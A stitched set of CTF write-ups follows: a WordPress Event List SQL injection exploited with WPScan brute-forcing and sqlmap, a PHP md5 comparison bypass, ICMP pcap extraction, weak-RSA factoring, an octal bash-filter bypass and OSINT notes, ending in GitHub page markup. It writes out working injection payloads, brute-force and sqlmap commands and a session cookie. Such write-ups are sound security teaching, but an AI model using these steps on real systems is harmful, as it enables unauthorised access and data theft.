```[!] Title: Event List <= 0.7.8 - Authenticated SQL Injection Reference: https://wpvulndb.com/vulnerabilities/8846 Reference: https://dtsa.eu/cve-2017-9429-event-list-version-v-0-7-8-blind-based-sql-injection-sqli/ Reference: https://plugins.trac.wordpress.org/changeset/1676971/event-list Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9429[i] Fixed in: 0.7.9```
That vulnerability exploits a ```SQL injection``` hidden in the editing page:
```http://[wordpress_site]/wp-admin/admin.php?page=el_admin_main&action=edit&id=1 AND SLEEP(10)```
We can use it! But... first we need to login into ```wp-admin```.
WPScan with ```--enumerate u``` (as we used) obtains logins of wordpress users (id from 1 to 10). Let's look at the end of ```scan.txt```:
```[+] Enumerating usernames ...[+] Identified the following 2 user/s: +----+-----------+-----------+ | Id | Login | Name | +----+-----------+-----------+ | 1 | admin | admin | | 2 | organizer | organizer | +----+-----------+-----------+[!] Default first WordPress username 'admin' is still used```
So we can use WPScan again to bruteforce passwords. I looked at the Hint and used [500 worst passwords](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt).
```vova@Vova-PC:~/wpscan$ ruby ./wpscan.rb --url http://8082.ctf.certcc.ir/ --wordlist 500-worst-passwords.txt --threads 20+----+-----------+-----------+----------+| Id | Login | Name | Password |+----+-----------+-----------+----------+| 1 | admin | admin | || 2 | organizer | organizer | password |+----+-----------+-----------+----------+```
And there is ```organizer's``` password: ```password```! Weak, isn't it? So let's login into admin panel (```/wp-login.php```).

As you see, nothing interesting here. Just save the cookie and go away...
```wordpress_eb2a34d2fb7f6ae7debb807cd7821561=organizer%7C1518053697%7C3Uy0RvkQYc2RtBB4Vlg2kDdWNg8eC6fUF6Qq1TNS4tc%7C3fe61137ca73062fd44852ef55a17cb2d89a05f4227ecb2bc807db867e528355```
```Wordpress 4.9.1``` cookie is very complicated, that's why we won't try to change it. But now we can exploit the SQL injection from ```Event List``` using [sqlmap](http://sqlmap.org/).
```C:\Users\Vova\Desktop\SharifCTF8> py -2 sqlmap.py ^More? --url="http://8082.ctf.certcc.ir/wp-admin/admin.php?page=el_admin_main&action=edit&id=1" ^More? -p id ^More? --threads=10 ^More? --sql-shell ^More? --cookie="wordpress_eb2a34d2fb7f6ae7debb807cd7821561=organizer%7C1518050175%7C8XtpMJPPznkAada2MnyIamhMcBXMS0JDAtsuKJgrw8n%7C9539ffdec564f651fe34b71327d8bf2978fb1c93883ec9be36ef9aa65552fc8f"```
I'll explain. We're providing a ```request url``` with injection, selecting vulnerable ```argument``` (id), spawning 10 ```threads```, requesting ```shell``` and setting our ```cookie``` to pass authentification.
After some tryings and checkings sqlmap provides us a ```SQL shell```. Console log is too big, so you can see it all in [shell.txt](https://github.com/VoidHack/write-ups/blob/master/SharifCTF%208/web/the-news-hacker/shell.txt). I'll just write commands and partial server response.
Description said that only ```admin``` can see flag. We're not admin, but we have an access to ```all data``` on the website. At the beginning we should discover tables presents in databases.
```sql-shell> select table_name from information_schema.tables where table_schema != 'information_schema'[*] wp_app_user_info[*] wp_bwg_album[*] wp_comments[*] wp_event_list[*] wp_options[*] wp_posts[*] wp_users...```
Since this is wordpress, then we look at ```wp_posts``` first. Take a look at the table structure and get ```content``` of all posts.
```sql-shell> select column_name from information_schema.columns where table_name = 'wp_posts'[*] ID[*] post_author[*] post_content[*] post_date[*] post_name[*] post_title[*] post_type...
sql-shell> select post_content from wp_posts...```
After a little searching we'll found the flag:
```[*] Flag is SharifCTF{e7134abea7438e937b87608eab0d979c}``` |
**Задание**
Find the transferred file
[challenge.pcapng](https://s3.amazonaws.com/hackim18/misc/pcap/challenge.pcapng)
-----
**Solution**
Let's open `challenge.pcapng` with Wireshark. Obvious, eh? ;)
First we'll do checkStatistics -> Protocol Hierarchy

Ok, we see some HTTP conversations. We can download all the transfered files

This two: `follem.JPG` & `metloof.JPG` seem to be interesting enough

Interesting enough to see the insides with `stegdetect`. `metloof.JPG` have something archived
Lets get the file with `binwalk`

And inside the archive we've found `e2fc7ad1c912c04b0247cb9a710e82cd.txt` with contents `Flag isn't here!`
Ok. Wrong call. Other files that were transfered via HTTP had nothing interesting.
Let's see other conversations in `challenge.pcapng`
Nothin unusual in DNS & NTP, but ICMP looks odd

We can use `tshark` to dump the icmp conversations in a binary format
`tshark -Y "(data.len==2 ) && (icmp.type == 8)" -T fields -r challenge.pcapng -e data | xxd -r -p |xxd -r -p > bin.dat`
The resulting `bin.dat` seems to be an archive, and the file `flag.txt` is inside!

Flag: `hackim18{'51mpL3st_Ch4ll3ng3_s0lv3d'}`
-----
Also you can use [CyberChef](https://gchq.github.io/CyberChef/) to check the binary file
Just put the dumped with `tshark` file and cook it with the right 'recipe'
 |
<h3 id="break-in-2018-connecting-will">Break In 2018 - Connecting Will</h3>
<hr>
Description
Description
https://felicity.iiit.ac.in/contest/breakin/findingwill/Will is lost in the Upside-Down and is stuck with the Demogorgon. El is looking for Will, when, she stumbles across a piece of code that Will wrote. The Demogorgon could not decipher the code and hence just left it lying around. El needs your help to find the 2 numbers that can get her the secret key which Will was trying to share. Can you help her?
https://felicity.iiit.ac.in/contest/breakin/findingwill/
Will is lost in the Upside-Down and is stuck with the Demogorgon. El is looking for Will, when, she stumbles across a piece of code that Will wrote. The Demogorgon could not decipher the code and hence just left it lying around. El needs your help to find the 2 numbers that can get her the secret key which Will was trying to share. Can you help her?
<hr>
The website shows a login form with a First Number and a Last Number. From the given source code we can assume that we need to put 2 hashes that have the same value, In order to solve this challenge we could look for a md5 collision
The website shows a login form with a First Number and a Last Number. From the given source code we can assume that we need to put 2 hashes that have the same value, In order to solve this challenge we could look for a md5 collision
md5(‘240610708’) ‘s result is 0e462097431906509019562988736854
md5(‘240610708’) ‘s result is 0e462097431906509019562988736854
.
.
md5(‘QNKCDZO’) ‘s result is 0e830400451993494058024219903391.
md5(‘QNKCDZO’) ‘s result is 0e830400451993494058024219903391.
0 == 0 when compared with == they give us True
0 == 0 when compared with == they give us True
but with this we will not be accessed because we have
but with this we will not be accessed because we have
($hash1 != $hash2)
by looking on :
by looking on :
$hash2 = strtr($hash2, “abcd”, “0123”);
i use this site to get some hashes who started by ae ;) https://md5db.net/explore/ae46
i use this site to get some hashes who started by ae ;) https://md5db.net/explore/ae46
dlhkwp : ae46007dc4407b097dc1d216cd48d15d ‘a’ will be replaced by 0 (0e)
dlhkwp : ae46007dc4407b097dc1d216cd48d15d ‘a’ will be replaced by 0 (0e)
so : ae46007dc4407b097dc1d216cd48d15d != 0e462097431906509019562988736854 after that a,b,c,d will be replaced by 0,1,2,3 0e46007dc4407b097dc1d216cd48d15d 0e460073244071097321321623483153 and 0e460073244071097321321623483153 equal 0e462097431906509019562988736854 (true)
so : ae46007dc4407b097dc1d216cd48d15d != 0e462097431906509019562988736854 after that a,b,c,d will be replaced by 0,1,2,3 0e46007dc4407b097dc1d216cd48d15d 0e460073244071097321321623483153 and 0e460073244071097321321623483153 equal 0e462097431906509019562988736854 (true)
first number : 240610708 last number : dlhkwp
first number : 240610708 last number : dlhkwp
Success. The flag is BREAKIN{I_Will_Connect}#0v3n_Sh3ll ❤
Success. The flag is BREAKIN{I_Will_Connect}
#0v3n_Sh3ll ❤ |
# Full WriteUp
Full Writeup on our website: [http://www.aperikube.fr/docs/nullcon_2018_osint2/](http://www.aperikube.fr/docs/nullcon_2018_osint2/)
-----
# TL;DR
After few research I found a Flickr account with two childs telling a secret.
I downloaded the picture and just did a strings on it. |
# Full WriteUp
Full Writeup on our website: [http://www.aperikube.fr/docs/nullcon_2018_osint3/](http://www.aperikube.fr/docs/nullcon_2018_osint3/)
-----
# TL;DR
With the email address, social media and date, I looked for database leak of those media.
First I found a pastebin note showing the last 2 digits of the phone number.
Secondly, I found a website that return you 8 first digits of your phone number depending on your username.
Then we got the complete phone number. |
# Task: What did he said? / Decrypt RSAYou have two RSA private keys in files "recovered_1.key" + "recovered_2.key"and require to decrypt file "encrypt.txt":```$ cat recovered_1.key -----BEGIN PUBLIC KEY-----MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAMlciLTeSYml/7kmx5RUToUCAwEAAQ==-----END PUBLIC KEY-----$ cat recovered_2.key -----BEGIN PUBLIC KEY-----MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAOeiuMWobft9fGsyIB23Q4sCAwEAAQ==-----END PUBLIC KEY-----$ xxd encrypt.txt 00000000: 4802 4d24 1ab7 70c7 1123 de23 34bd cb34 H.M$..p..#.#4..4```
## Details:[https://s3.amazonaws.com/hackim18/crypto/rsa/What+did+he+said.pdf](https://s3.amazonaws.com/hackim18/crypto/rsa/What+did+he+said.pdf)
[https://s3.amazonaws.com/hackim18/crypto/rsa/What_did_he_said.zip](https://s3.amazonaws.com/hackim18/crypto/rsa/What_did_he_said.zip])
# How to:
### 1) Get modulus:
***$ openssl rsa -in recovered1.key -text -inform PEM -pubin***```Public-Key: (128 bit)Modulus: 00:c9:5c:88:b4:de:49:89:a5:ff:b9:26:c7:94:54: 4e:85Exponent: 65537 (0x10001)writing RSA key-----BEGIN PUBLIC KEY-----MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAMlciLTeSYml/7kmx5RUToUCAwEAAQ==-----END PUBLIC KEY-----```***$ openssl rsa -in recovered2.key -text -inform PEM -pubin***```Public-Key: (128 bit)Modulus: 00:e7:a2:b8:c5:a8:6d:fb:7d:7c:6b:32:20:1d:b7: 43:8bExponent: 65537 (0x10001)writing RSA key-----BEGIN PUBLIC KEY-----MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAOeiuMWobft9fGsyIB23Q4sCAwEAAQ==-----END PUBLIC KEY-----```### 2) Convert to hex:
***$ python -c "print int('00c95c88b4de4989a5ffb926c794544e85',16)"***```267655291201323217581766648921840701061```***$ python -c "print int('00e7a2b8c5a86dfb7d7c6b32201db7438b',16)"***```307896566740839738127153373769666872203```
### 3) Looking for prime:
***$ lynx --dump http://www.factordb.com/index.php?query=267655291201323217581766648921840701061 | head | tail -n 2***```FF 39 [10](show) [11]267655291201323217581766648921840701061[<39>] = [12]14673311234908966559[<20>] · [13]18240960538242393179[<20>]```
***$ lynx --dump http://www.factordb.com/index.php?query=307896566740839738127153373769666872203 | head | tail -n 2***``` FF 39 [10](show) [11]307896566740839738127153373769666872203[<39>] = [12]16879405341365159057[<20>] · [13]18240960538242393179[<20>]``` ### 4) Generate private keys:
***$ rsatool.py -p 14673311234908966559 -q 18240960538242393179 -o 1.key***```Using (p, q) to initialise RSA instancen = 267655291201323217581766648921840701061 (0xc95c88b4de4989a5ffb926c794544e85)e = 65537 (0x10001)d = 172203264621569395424681637586012269053 (0x818d247361d4e4569ff75ccb4350e9fd)p = 14673311234908966559 (0xcba212d35b7f4e9f)q = 18240960538242393179 (0xfd24e8f6fbdb245b)Saving PEM as 1.key```
***$ rsatool.py -p 16879405341365159057 -q 18240960538242393179 -o 2.key***```Using (p, q) to initialise RSA instancen = 307896566740839738127153373769666872203 (0xe7a2b8c5a86dfb7d7c6b32201db7438b)e = 65537 (0x10001)d = 146969319580598585939745007947033365985 (0x6e9142e7bebd3904c59f0edc03304de1)p = 16879405341365159057 (0xea3fb1ba1fe6c491)q = 18240960538242393179 (0xfd24e8f6fbdb245b)Saving PEM as 2.key```
### 5) Decrypt message:
***$ openssl rsautl -decrypt -raw -inkey 1.key -in encrypt.txt***```{binary_output_here}```
***$ openssl rsautl -decrypt -raw -inkey 2.key -in encrypt.txt***```BabaSaidJaiJugad```
### 6) Flag is```hackim18{'BabaSaidJaiJugad'}``` |
# Full WriteUp
Full Writeup on our website: [http://www.aperikube.fr/docs/nullcon_2018_misc2/](http://www.aperikube.fr/docs/nullcon_2018_misc2/)
-----
# TL;DR
A classic data extract via ICMP. The data extracted was a plain text file (flag.txt) inside a tar archive, inside a gzip file. |
In this challenge we are required to execute a simple command in a reduced bash in order to obtain the flag.Below you can see the output of the `help` command which displays the command we want to execute and also which characters are banned from usage.
The bash can be reached via `nc 35.189.118.225 1337`

Our first intuition was that we need to encode the command in some way or another. We did not think of capital letters, as the other writeup suggests. D'oh!
So we encode our command in octal representation since there is no alphabetical letter needed (in contrast to hex encoding). The encoded command is stored in a variable in the first step and finally executed in a second step.
After executing the octal representation of `/get_flag` we learn that we also need to pass the parameter `gimme_FLAG_please` in order to receive the flag. Below our full command, `/get_flag gimme_FLAG_please`:
```__=$'\057\147\145\164\137\146\154\141\147\040\147\151\155\155\145\137\106\114\101\107\137\160\154\145\141\163\145'; $__```
Note that the variable could also be a capital letter. But why take the easy path, if there is a more complicated one? Anyways, here's the result:
## 34C3_LoOks_lik3_y0U_are_nO_b4by_4ft3r_4ll
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeups/34c3ctf-2017/300 at master · DhavalKapil/ctf-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B0BA:76EE:1CE05678:1DBE27FE:64122728" data-pjax-transient="true"/><meta name="html-safe-nonce" content="dccbc9c12c0b81ab159317e4dfba3e00868e4fd04669af7b47edfd5f42041a66" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMEJBOjc2RUU6MUNFMDU2Nzg6MURCRTI3RkU6NjQxMjI3MjgiLCJ2aXNpdG9yX2lkIjoiMzA0MzUxOTgyMzEyMjQwOTI1NiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="beaccb0306f97af53ae8940a747cb8158c883ef5942a6625c09d89bfcbb232ea" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:100902368" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f99fdcfd658235af0e2010d9a58347018333c616c84fa02286cb8567af58ac4c/DhavalKapil/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/34c3ctf-2017/300 at master · DhavalKapil/ctf-writeups" /><meta name="twitter:description" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f99fdcfd658235af0e2010d9a58347018333c616c84fa02286cb8567af58ac4c/DhavalKapil/ctf-writeups" /><meta property="og:image:alt" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/34c3ctf-2017/300 at master · DhavalKapil/ctf-writeups" /><meta property="og:url" content="https://github.com/DhavalKapil/ctf-writeups" /><meta property="og:description" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/DhavalKapil/ctf-writeups git https://github.com/DhavalKapil/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="6170016" /><meta name="octolytics-dimension-user_login" content="DhavalKapil" /><meta name="octolytics-dimension-repository_id" content="100902368" /><meta name="octolytics-dimension-repository_nwo" content="DhavalKapil/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="100902368" /><meta name="octolytics-dimension-repository_network_root_nwo" content="DhavalKapil/ctf-writeups" />
<link rel="canonical" href="https://github.com/DhavalKapil/ctf-writeups/tree/master/34c3ctf-2017/300" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
